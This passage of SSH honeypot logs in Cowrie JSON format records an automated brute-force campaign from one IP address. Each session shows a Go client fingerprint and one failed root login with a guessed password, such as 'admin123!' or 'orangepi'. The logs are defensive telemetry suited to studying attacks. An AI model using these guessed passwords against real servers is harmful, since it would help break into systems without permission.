98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:50:47.816737Z","src_ip":"60.165.124.241","session":"5e3aaa4c0751","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin123!","message":"login attempt [root/admin123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:50:48.527261Z","src_ip":"60.165.124.241","session":"5e3aaa4c0751","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:50:49.768256Z","src_ip":"60.165.124.241","session":"5e3aaa4c0751","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":49078,"dst_ip":"10.17.0.5","dst_port":22,"session":"2de95495a9cf","protocol":"ssh","message":"New connection: 60.165.124.241:49078 (10.17.0.5:22) [session: 2de95495a9cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:50:50.008855Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:50:50.014276Z","src_ip":"60.165.124.241","session":"2de95495a9cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:50:50.254420Z","src_ip":"60.165.124.241","session":"2de95495a9cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"DVdmEU8usfIYEiYD9txyX","message":"login attempt [root/DVdmEU8usfIYEiYD9txyX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:50:50.988272Z","src_ip":"60.165.124.241","session":"2de95495a9cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:50:52.230102Z","src_ip":"60.165.124.241","session":"2de95495a9cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":52126,"dst_ip":"10.17.0.5","dst_port":22,"session":"4db03f2536d8","protocol":"ssh","message":"New connection: 60.165.124.241:52126 (10.17.0.5:22) [session: 4db03f2536d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:50:52.480470Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:50:52.489408Z","src_ip":"60.165.124.241","session":"4db03f2536d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:50:52.736436Z","src_ip":"60.165.124.241","session":"4db03f2536d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"IZAK%s^&OzNgG%wm*teASED7E9zPoB&E%Pc","message":"login attempt [root/IZAK%s^&OzNgG%wm*teASED7E9zPoB&E%Pc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:50:53.485686Z","src_ip":"60.165.124.241","session":"4db03f2536d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:50:54.736477Z","src_ip":"60.165.124.241","session":"4db03f2536d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":55426,"dst_ip":"10.17.0.5","dst_port":22,"session":"bbcbdce02b9c","protocol":"ssh","message":"New connection: 60.165.124.241:55426 (10.17.0.5:22) [session: bbcbdce02b9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:50:54.978479Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:50:54.983614Z","src_ip":"60.165.124.241","session":"bbcbdce02b9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:50:55.231280Z","src_ip":"60.165.124.241","session":"bbcbdce02b9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pass@321","message":"login attempt [root/Pass@321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:50:55.979820Z","src_ip":"60.165.124.241","session":"bbcbdce02b9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:50:57.229775Z","src_ip":"60.165.124.241","session":"bbcbdce02b9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":58660,"dst_ip":"10.17.0.5","dst_port":22,"session":"28b0f85c574e","protocol":"ssh","message":"New connection: 60.165.124.241:58660 (10.17.0.5:22) [session: 28b0f85c574e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:50:57.450010Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:50:57.458112Z","src_ip":"60.165.124.241","session":"28b0f85c574e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:50:57.692973Z","src_ip":"60.165.124.241","session":"28b0f85c574e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"orangepi","message":"login attempt [root/orangepi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:50:58.434628Z","src_ip":"60.165.124.241","session":"28b0f85c574e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:50:59.686733Z","src_ip":"60.165.124.241","session":"28b0f85c574e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":33706,"dst_ip":"10.17.0.5","dst_port":22,"session":"eb6fc7a62793","protocol":"ssh","message":"New connection: 60.165.124.241:33706 (10.17.0.5:22) [session: eb6fc7a62793]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:50:59.934317Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:50:59.938425Z","src_ip":"60.165.124.241","session":"eb6fc7a62793","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:51:00.176643Z","src_ip":"60.165.124.241","session":"eb6fc7a62793","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz#EDC","message":"login attempt [root/1qaz#EDC] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:51:00.919799Z","src_ip":"60.165.124.241","session":"eb6fc7a62793","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:51:02.166477Z","src_ip":"60.165.124.241","session":"eb6fc7a62793","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":36598,"dst_ip":"10.17.0.5","dst_port":22,"session":"dbbb87e34e6f","protocol":"ssh","message":"New connection: 60.165.124.241:36598 (10.17.0.5:22) [session: dbbb87e34e6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:51:03.414609Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:51:03.420310Z","src_ip":"60.165.124.241","session":"dbbb87e34e6f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:51:03.663197Z","src_ip":"60.165.124.241","session":"dbbb87e34e6f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qq953967591@xx","message":"login attempt [root/Qq953967591@xx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:51:04.405066Z","src_ip":"60.165.124.241","session":"dbbb87e34e6f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:51:05.652056Z","src_ip":"60.165.124.241","session":"dbbb87e34e6f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":41222,"dst_ip":"10.17.0.5","dst_port":22,"session":"9b0916da3baa","protocol":"ssh","message":"New connection: 60.165.124.241:41222 (10.17.0.5:22) [session: 9b0916da3baa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:51:05.902571Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:51:05.907705Z","src_ip":"60.165.124.241","session":"9b0916da3baa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:51:06.154073Z","src_ip":"60.165.124.241","session":"9b0916da3baa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"water123","message":"login attempt [root/water123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:51:06.896094Z","src_ip":"60.165.124.241","session":"9b0916da3baa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:51:08.135761Z","src_ip":"60.165.124.241","session":"9b0916da3baa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":44454,"dst_ip":"10.17.0.5","dst_port":22,"session":"b3608ad0663e","protocol":"ssh","message":"New connection: 60.165.124.241:44454 (10.17.0.5:22) [session: b3608ad0663e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:51:08.385323Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:51:08.390461Z","src_ip":"60.165.124.241","session":"b3608ad0663e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:51:08.639803Z","src_ip":"60.165.124.241","session":"b3608ad0663e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qaz123!@#","message":"login attempt [root/Qaz123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:51:09.383413Z","src_ip":"60.165.124.241","session":"b3608ad0663e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:51:10.632728Z","src_ip":"60.165.124.241","session":"b3608ad0663e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":47640,"dst_ip":"10.17.0.5","dst_port":22,"session":"f28fcf9c48b3","protocol":"ssh","message":"New connection: 60.165.124.241:47640 (10.17.0.5:22) [session: f28fcf9c48b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:51:10.857189Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:51:10.863146Z","src_ip":"60.165.124.241","session":"f28fcf9c48b3","protocol":"ssh"}
